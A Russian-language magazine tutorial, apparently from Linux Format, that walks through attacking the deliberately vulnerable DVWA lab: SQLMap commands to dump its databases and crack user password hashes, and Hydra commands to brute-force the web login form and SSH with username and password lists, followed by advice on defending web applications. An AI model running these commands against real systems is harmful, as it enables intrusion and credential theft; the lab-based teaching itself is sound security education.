В рас­по­ря­жении тес­ти­ров­щи­ка есть ог­ром­ное ко­ли­че­­ст­во спо­со­бов, а чис­ло из­вест­ных уяз­ви­мо­стей, ко­то­ры­ми мож­но восполь­зо­вать­ся, из­ме­ря­ет­ся де­сят­ка­ми ты­сяч (толь­ко в ар­хи­ве www.exploit-db.com их поч­ти 20 000). Ес­те­ст­вен­но, ни один взлом­щик все их не упомнит. В пре­ды­ду­щей час­ти это­го уро­ка мы рас­смот­ре­ли SQL-инъ­ек­ции и на их при­менение для кра­жи дан­ных из ба­зы. На сей раз мы со­би­ра­ем­ся упот­ре­бить ав­то­ма­ти­зи­ро­ван­ный ин­ст­ру­мент, ко­то­рый сде­лает все это за нас. Вы, ско­рее все­го, не най­де­те SQLMap в ре­по­зи­то­ри­ях ва­ше­го ди­ст­ри­бу­ти­ва, но его мож­но ска­чать с www.sqlmap.org или взять с DVD. Это скрипт на Python, и его не нуж­но уста­нав­ли­вать. Про­сто рас­па­куй­те его, от­крой­те тер­ми­нал в но­вом ка­та­ло­ге и за­пусти­те ./sqlmap.py; но следует немно­го раз­жить­ся ин­фор­ма­ци­ей, пре­ж­де чем мы смо­жем на­стро­ить его для ра­бо­ты.

Этот скрипт про­ве­ря­ет оп­ре­де­лен­ный на­бор SQL-атак на web-страницы. Но пре­ж­де чем сде­лать это, мы долж­ны по­лу­чить пра­виль­ную cookie сес­сии, ина­че DVWA не даст SQLMap досту­па к странице. Для это­го сго­дит­ся лю­бой брау­зер, но сле­дую­щие ин­ст­рук­ции ра­бо­та­ют для Firefox. Вой­ди­те в DVWA с ис­поль­зо­ванием admin/password. Щелкните пра­вой кноп­кой мы­ши на странице и вы­бе­ри­те Ин­фор­ма­ция о странице [View Page Info]. Ис­поль­зуй­те вклад­ку За­щи­та [Security] и на­жми­те кноп­ку Про­смот­реть ку­ки [View Cookies]. В этом окне вы уви­ди­те два cookie: PHPSESSID и security [безо­пас­но­сти]. По­следний про­сто уста­нов­лен в Low, Medium или High, и мы мо­жем вы­брать здесь то, что хо­тим. Вам нуж­но бу­дет ско­пи­ро­вать со­дер­жи­мое PHPSESSID в команд­ную стро­ку. Об­ла­дая этой ин­фор­ма­ци­ей, мы мо­жем на­чать на­шу ата­ку на страницу SQL-инъ­ек­ции DVWA.

Из ка­та­ло­га SQLMap вы­пол­ни­те:

./sqlmap.py -u “http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit” --cookie=’PHPSESSID=aa77be5f7ac5f27080d1edc6115c6e5f; security=low’ --dbs

Под­ставь­те для PHPSESSID пра­виль­ное зна­чение. Вы уви­ди­те несколь­ко со­об­щений; про­сто вве­ди­те ‘Y’, что­бы про­дол­жить ата­ку. Оп­ция --dbs ве­лит SQLMap по­пы­тать­ся ук­расть спи­сок баз дан­ных. Она долж­на при­вес­ти к ото­бра­жению это­го спи­ска, вклю­чая ба­зу dvwa. Зная имя ба­зы дан­ных, мы мо­жем за­брать­ся поглуб­же. Что­бы по­лу­чить спи­сок таб­лиц ба­зы дан­ных, вы­полните ко­ман­ду еще раз, но опусти­те --dbs и до­бавь­те -D dvwa --tables.

Она най­дет две таб­ли­цы: guestbook и users. Госте­вая книга [guestbook] зву­чит не слиш­ком волнующе, так что со­сре­до­то­чим­ся на users [поль­зо­ва­тель]. Ис­поль­зу­ем фла­ги -D dvwa -T users --dump.

Сно­ва от­ве­чай­те ‘Y’ на за­про­сы. SQLMap доста­точ­но умен, что­бы най­ти хэ­ши па­ро­лей, а так­же вклю­ча­ет воз­мож­ность взло­мать их. Для на­деж­ных па­ро­лей мо­жет быть луч­ше про­сто за­брать хэ­ши, а за­тем при­менить мощ­ное обо­ру­до­вание для взло­ма. Ну, а эти па­ро­ли не са­мые безо­пас­ные, так что про­сто вве­ди­те ‘Y’, что­бы взло­мать их. Доста­точ­но ско­ро вы уви­ди­те спи­сок имен поль­зо­ва­те­лей с па­ро­ля­ми, ко­то­рые по­зво­лят вам беспрепятственно вой­ти в DVWA.

У SQLMap есть мно­же­ст­во дру­гих оп­ций, на ко­то­рые у нас здесь нет мес­та. Под­роб­но­сти ищи­те в ./sqlmap --help.

[править] Гру­бая си­ла

Не все web-при­ло­жения бу­дут на­столь­ко лю­без­ны, что­бы пре­доста­вить нам вход че­рез SQL-инъ­ек­ции. Иногда един­ст­вен­ный спо­соб взло­ма – это ста­рая до­б­рая ло­бо­вая ата­ка. Вы­ше мы уви­де­ли, как мож­но бы­ст­ро взло­мать учет­ные за­пи­си, имея доступ к хэ­шам. В но­вой ата­ке мы бу­дем ис­поль­зо­вать Hydra, ин­ст­ру­мент гру­бо­го взло­ма се­ти, что­бы по­пы­тать­ся про­рвать­ся внутрь web-страницы. Это од­на из наи­менее слож­ных ха­кер­ских ути­лит: она все­го-на­все­го пе­ре­би­ра­ет раз­лич­ные ком­би­на­ции имя поль­зо­ва­те­ля/па­роль вплоть до успе­ха. Вам по­на­до­бить­ся PHPSESSID (он мо­жет уста­реть, так что убе­ди­тесь, что ваш оста­ет­ся в си­ле, ес­ли вы за­кон­чи­ли пре­ды­ду­щую ата­ку неко­то­рое вре­мя на­зад).

В ка­че­­ст­ве тес­та за­пустим его со спи­ском па­ро­лей pass.list с DVD (име­ет­ся так­же на www.linuxformat.com/archives). Это тек­сто­вый файл с одним па­ро­лем в ка­ж­дой стро­ке, ко­то­рые Hydra и бу­дет про­ве­рять. Там 25 па­ро­лей, наи­бо­лее час­то встре­чаю­щих­ся по дан­ным ком­пании ИТ-безо­пас­но­сти ESET. За­од­но мы восполь­зу­ем­ся спи­ском имен поль­зо­ва­те­лей в сис­те­ме, user.list. Ес­ли Hydra нет в ре­по­зи­то­рии ва­ше­го ди­ст­ри­бу­ти­ва, мо­же­те взять ее здесь: www.thc.org/thc-hydra.

hydra 192.168.56.101 http-get-form “/dvwa/vulnerabilities/brute/

index.php:username=^USER^&password=^PASS^&Login=Login:incorrect:C=:H=Cookie:security=low; PHPSESSID=aa77be5f7ac5f27080d1edc6115c6e5f” -L ~/user.list -P ~/pass.list

Эта ко­ман­да ищет фай­лы с име­на­ми поль­зо­ва­те­лей и па­ро­ля­ми в до­машнем ка­та­ло­ге; из­мените пу­ти, ес­ли они ле­жат в дру­гом мес­те. Во­об­ще-то Hydra до­воль­но про­ста в применении, но в дан­ном слу­чае все вы­гля­дит чуть сложнее – по­то­му что мы ис­поль­зуем флаг http-get-form. Боль­шин­ст­во под­дер­жи­вае­мых про­то­ко­лов (SSH, FTP и т. д.) име­ют яв­ный раз­дел ло­ги­на, что уп­ро­ща­ет за­да­чу, но в HTTP это­го нет, и нам на­до быть бо­лее гиб­ки­ми.

Сим­во­лы ^ ука­зы­ва­ют Hydra, ку­да встав­лять име­на поль­зо­ва­те­лей и па­роль в URL (ко­то­рый от­де­лен двое­то­чи­ем). “incorrect” – сло­во, ко­то­рое Hydra ищет на за­гру­жен­ной странице, ес­ли вход не удал­ся (см. рис. 1).

Мы так­же вклю­чи­ли несколь­ко имен, най­ден­ных в /passwd при пер­вой ата­ке, и мы мо­жем ис­поль­зо­вать тот же файл имен поль­зо­ва­те­лей, что­бы уви­деть, нель­зя ли про­рвать­ся че­рез SSH. Вы­полните

hydra 192.168.56.101 ssh -L ~/user.list -P ~/pass.list -e nsr

На этот раз ко­ман­да немно­го по­нятнее. Флаг -e nsr ве­лит Hydra по­ми­мо па­ро­ля из фай­ла про­бо­вать пустой па­роль, а так­же сов­па­даю­щий с именем поль­зо­ва­те­ля и пе­ре­вер­ну­тым именем поль­зо­ва­те­ля. Hydra слиш­ком мед­лен­на для ре­аль­ных шан­сов по­доб­рать хо­тя бы от­но­си­тель­но безо­пас­ный па­роль за ра­зум­ное вре­мя. Од­на­ко ста­ти­сти­ка по­ка­зы­ва­ет, что боль­шин­ство лю­дей ис­поль­зу­ет небезо­пас­ные па­ро­ли, и при на­ли­чии спи­ска имен поль­зо­ва­те­лей есть хо­ро­шие шан­сы проник­нуть в сис­те­му.

[править] Как за­щи­тить се­бя

Мы ви­де­ли, как без­обид­ные осо­бен­но­сти сай­та мо­гут сде­лать сер­вер уяз­ви­мым. Эти ата­ки мо­гут сра­бо­тать, да­же ес­ли вы ис­поль­зуе­те са­мые со­вре­мен­ные вер­сии сер­вер­но­го про­грамм­но­го обес­пе­чения, по­сколь­ку уяз­ви­мо­сти на­хо­дят­ся в web-при­ло­жениях, а не в сер­ве­рах. На­ли­чие неко­то­рых из этих уяз­ви­мо­стей мож­но про­ве­рить ав­то­ма­ти­че­­ски, и мы ви­дим жур­на­лы tuxradar.com, пол­ные пре­ду­пре­ж­дений о по­пыт­ках за­пустить атак опи­сан­но­го здесь ти­па.

Ес­ли вы ис­поль­зуе­те web-сер­вер, необ­хо­ди­мо убе­дить­ся, что он невоспри­им­чив к та­ким на­па­дениям. Кон­крет­ный ме­тод, ко­то­рый вы мо­же­те ис­поль­зо­вать для са­мо­за­щи­ты, за­ви­сит от ис­поль­зуе­мой плат­фор­мы, но луч­шее ме­сто для стар­та – имен­но DVWA. Помните, что есть три уров­ня безо­пас­но­сти, и вы­со­кий су­ще­ст­ву­ет как ил­лю­ст­ра­ция хо­ро­шей прак­ти­ки. Вы мо­же­те уг­лу­бить­ся в ис­ход­ный код (най­дя его на Metasploitable или на DVD). В ка­та­ло­ге Vulnerabilities есть под­ка­та­лог для ка­ж­дой об­лас­ти атак. В них вы най­де­те со­от­вет­ст­вую­щий ис­ход­ный код для ка­ж­до­го уров­ня. Код досту­пен под GPLv3, и вы мо­же­те сво­бод­но его по­за­им­ст­во­вать. Со­глас­но усло­ви­ям GPL, вы толь­ко долж­ны от­крыть ис­ход­ный код ва­ше­го web-при­ло­жения, ес­ли вклю­чи­те этот код, а за­тем бу­де­те рас­про­стра­нять его. Мы на­де­ем­ся, что вы ре­ши­те от­крыть ис­ход­ный код ва­ше­го про­ек­та, но ес­ли он об­слу­жи­ва­ет толь­ко страницы с ва­ше­го сер­ве­ра, вы мо­же­те дер­жать его за­кры­тым – усло­вия ли­цен­зии будут по-прежнему со­блю­дены.

На ка­ж­дой странице DVWA вы най­де­те так­же раз­дел до­полнитель­ной ин­фор­ма­ции [More Info], со­дер­жа­щий ссыл­ки на дру­гие сай­ты. Там со­дер­жат­ся бо­га­тые све­дения о за­щи­те. |

Персональные инструменты
купить
подписаться
Яндекс.Метрика